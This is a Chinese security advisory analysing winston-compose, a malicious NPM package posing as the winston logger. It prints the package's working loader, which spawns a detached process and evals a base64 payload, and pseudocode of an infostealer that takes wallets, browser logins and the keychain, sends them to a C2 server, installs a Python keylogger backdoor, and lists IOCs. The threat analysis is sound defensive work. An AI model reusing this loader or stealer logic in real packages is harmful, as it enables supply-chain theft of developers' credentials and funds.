一、简述
2025年6月25日,墨菲安全检测到 NPM 仓库中发布的投毒组件 winston-compose,该组件伪装成周下载量超 1200 万次的知名日志库 winston,被开发者(skelstar125 )植入包含窃取用户加密货币钱包、浏览器数据、键盘日志、屏幕截图等信息,并在受害设备上建立持久化后门的恶意代码。
墨菲安全曾在6月20日就检测出该开发者发布了投毒组件 react-hook-form-ui,该开发者的投毒手法与业界认为朝鲜 Lazarus APT组织曾发布的NPM投毒组件相似。截至目前,skelstar125 发布的投毒组件仍未被NPM官方团队下架。
const { spawn } = require('child_process');
const fs = require('fs');
const path = require('path');
const out = fs.openSync('./out.log', 'a');
const err = fs.openSync('./err.log', 'a');
const filePath = path.join(__dirname, 'transports/file-intermidiate.test.js');
const child = spawn(process.execPath, [filePath], {
detached: true,
stdio: ['ignore', out, err]
});
child.unref(); // Allow parent to exit independently
transports/file-intermidiate.test.js
文件会使用eval执行解密后的 03-file-intermidiate.test.js 文件数据:
const fs = require('fs');
const path = require('path');
const parseLib = require('../../../../lib/parse')
const filePath = path.join(__dirname, '03-file-intermidiate.test.js');
fs.readFile(filePath, 'utf8', (_, data) => {
eval(Buffer.from(parseLib(data), 'base64').toString('utf8'));
})
恶意Payload截图
解密后的Payload如下:
// ==========================================================
// 恶意软件核心逻辑伪代码
// ==========================================================
// --- 全局配置 ---
CONSTANT C2_SERVER_URL = "http://144.172.105.235:1224";
CONSTANT HOSTNAME = os.hostname();
CONSTANT TARGET_WALLET_EXTENSIONS = [
"nkbihfbeogaeaoehlefnkodbefgpgknn", // MetaMask
"fhbohimaelbohpjbbldcngcnapndodjp", // Binance Wallet
"bfnaelmomeimhlpmgjnjophhpkkoljpa", // Phantom
// ...以及其他20多个钱包扩展ID
];
// --- 主执行函数 ---
async function main() {
// 1. 执行反调试和环境检测
antiDebugAndEvasion();
// 2. 窃取数据并上传
// 遍历所有主流浏览器 (Chrome, Brave, Opera, Edge)
let chromeData = await stealBrowserData(["Local/Google/Chrome", "Google/Chrome", "google-chrome"]);
let braveData = await stealBrowserData(["Local/BraveSoftware/Brave-Browser", "BraveSoftware/Brave-Browser"]);
let operaData = await stealBrowserData(["Roaming/Opera Software/Opera Stable", "com.operasoftware.Opera"]);
// 窃取火狐浏览器数据
let firefoxData = await stealFirefoxData();
// 窃取桌面钱包
let exodusData = await stealDesktopWallet("Exodus");
let solanaData = await stealDesktopWallet("Solana");
// 如果是macOS,窃取钥匙串
if (platform == 'darwin') {
let keychainData = await stealKeychain();
}
// 3. 下载并执行第二阶段的后门
await deployAndRunBackdoor();
// 4. 定期重复执行窃取任务
setInterval(main, 30000);
}
// --- 核心功能模块 ---
function antiDebugAndEvasion() {
// 使用复杂的正则表达式使调试器崩溃
search("(((.+)+)+)+$");
// 劫持并清空console的输出函数,隐藏活动踪迹
overrideConsoleFunctions(["log", "warn", "info", "error"]);
}
async function stealBrowserData(browserPaths) {
// 确定浏览器配置文件路径
basePath = findCorrectPathForOS(browserPaths);
// 遍历所有用户Profile
for (profile in getProfiles(basePath)) {
// 窃取所有目标钱包扩展的本地存储
for (walletId in TARGET_WALLET_EXTENSIONS) {
walletPath = basePath + profile + "/Local Extension Settings/" + walletId;
files = findFilesIn(walletPath);
uploadData(files, "wallet_extension");
}
// 窃取登录凭证和本地状态文件
uploadFile(basePath + profile + "/Login Data", "browser_logins");
uploadFile(basePath + profile + "/Local State", "browser_state");
}
}
async function stealDesktopWallet(walletName) {
walletPath = findWalletPath(walletName);
if (exists(walletPath)) {
files = findFilesIn(walletPath);
uploadData(files, walletName);
}
}
async function stealKeychain() {
keychainPath = homeDir + "/Library/Keychains/login.keychain-db";
if (exists(keychainPath)) {
uploadFile(keychainPath, "macos_keychain");
}
}
function uploadData(files, type) {
// 将文件打包成multipart/form-data
formData = createFormData();
addMetadata(formData, { hostname: HOSTNAME, type: type });
for (file in files) {
formData.append("file", createReadStream(file));
}
// 发送到C2服务器
post(C2_SERVER_URL + "/uploads", formData);
}
async function deployAndRunBackdoor() {
// 下载一个压缩包
download(C2_SERVER_URL + "/pdown", tempDir + "/p.zip");
// 解压该压缩包
exec("tar -xf " + tempDir + "/p.zip");
// 下载第二阶段的Python Payload
pythonPayload = download(C2_SERVER_URL + "/client/5346/630");
// 保存到隐藏文件并执行
save(homeDir + "/.npl", pythonPayload);
exec_detached("python3 " + homeDir + "/.npl");
}
// --- 第二阶段Payload执行的逻辑 (由.npl脚本实现) ---
function startPersistentSurveillance() {
// 启动键盘记录器
keyListener.on('keypress', (key) => {
logKeystroke(key);
// 定时将记录的键盘输入和截图一起上传
scheduleUpload();
});
// 启动剪贴板监控
setInterval(() => {
clipboardContent = getClipboard();
if (clipboardContent has changed) {
takeScreenshot();
uploadData({
clipboard: clipboardContent,
screenshot: screenshot_data
});
}
}, 500);
}
// 启动主程序
main();
三、IOC
URl:
hxxp://144.172.105[.]235:1224/uploads
hxxp://144.172.105[.]235:1224/pdown
hxxp://144.172.105[.]235:1224/api/service/makelog
hxxp://144.172.105[.]235:1224/api/service/process/[uid]
hxxp://144.172.105[.]235:1224/client/5346/630
恶意组件:
winston-compose@[3.17.1,3.17.7]
文件哈希:
winston-compose-3.17.7.tgz SHA256:9972e3bf09808b511eb999e50bec72c02713ac0ed2938e89c97fbbe4abdcb7ef
原文始发于微信公众号(墨菲安全实验室):知名NPM日志库 winston 遭仿冒,恶意版本植入窃密后门
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论